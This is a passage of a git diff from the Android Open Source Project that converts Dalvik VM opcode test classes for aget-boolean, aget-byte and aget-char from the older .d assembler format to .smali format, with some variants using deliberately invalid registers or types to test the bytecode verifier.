-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZI)Z
-.limit regs 9
-
-       aget-boolean v0, v7, v9
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_9.smali
new file mode 100644
index 0000000..ed7e03e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_9.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZI)Z
+.registers 9
+
+       aget-boolean v0, v7, v9
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_1.d
deleted file mode 100644
index 2fa8a9a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_1.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BI)B
-.limit regs 9
-
-       aget-byte v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_1.smali
new file mode 100644
index 0000000..d258990
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_1.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BI)B
+.registers 9
+
+       aget-byte v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_2.d
deleted file mode 100644
index 11eba1a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_2.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BI)B
-.limit regs 9
-
-       const-wide v1, 1.0
-       aget-byte v0, v7, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_2.smali
new file mode 100644
index 0000000..73eb50e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_2.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BI)B
+.registers 9
+
+       const-wide v1, 1.0
+       aget-byte v0, v7, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_3.d
deleted file mode 100644
index c2b426b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_3.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BI)B
-.limit regs 9
-
-       const-wide v1, 1
-       aget-byte v0, v7, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_3.smali
new file mode 100644
index 0000000..705eaba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_3.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BI)B
+.registers 9
+
+       const-wide v1, 1
+       aget-byte v0, v7, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_4.d
deleted file mode 100644
index 905f4b9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_4.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;I)B
-.limit regs 9
-
-       aget-byte v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_4.smali
new file mode 100644
index 0000000..1e9575a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_4.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)B
+.registers 9
+
+       aget-byte v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_5.d
deleted file mode 100644
index b65b94e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_5.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DI)B
-.limit regs 9
-
-       aget-byte v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_5.smali
new file mode 100644
index 0000000..33a437c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_5.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)B
+.registers 9
+
+       aget-byte v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_6.d
deleted file mode 100644
index 6861fa4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_6.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([II)B
-.limit regs 9
-
-       aget-byte v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_6.smali
new file mode 100644
index 0000000..71df7b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_6.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)B
+.registers 9
+
+       aget-byte v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_7.d
deleted file mode 100644
index 03ab879..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_7.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BI)B
-.limit regs 9
-
-       aget-byte v0, v7, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_7.smali
new file mode 100644
index 0000000..17b396f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_7.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BI)B
+.registers 9
+
+       aget-byte v0, v7, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_8.d
deleted file mode 100644
index 92f0273..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_8.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BF)B
-.limit regs 9
-
-       aget-byte v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_8.smali
new file mode 100644
index 0000000..9b5a0a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_8.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BF)B
+.registers 9
+
+       aget-byte v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_9.d
deleted file mode 100644
index b2d4ffd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_9.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BI)B
-.limit regs 9
-
-       aget-byte v0, v7, v9
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_9.smali
new file mode 100644
index 0000000..76a6c6a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_9.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BI)B
+.registers 9
+
+       aget-byte v0, v7, v9
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_1.d
deleted file mode 100644
index 0789458..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_1.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CI)C
-.limit regs 9
-
-       aget-char v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_1.smali
new file mode 100644
index 0000000..fc12f74
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_1.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CI)C
+.registers 9
+
+       aget-char v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_2.d
deleted file mode 100644
index ff1b8fd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_2.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CD)C
-.limit regs 9
-
-       aget-char v0, v6, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_2.smali
new file mode 100644
index 0000000..a6e8855
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_2.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CD)C
+.registers 9
+
+       aget-char v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_3.d
deleted file mode 100644
index b197a3c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_3.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CJ)C
-.limit regs 9
-
-       aget-char v0, v6, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_3.smali
new file mode 100644
index 0000000..23fb572
--- /dev/null
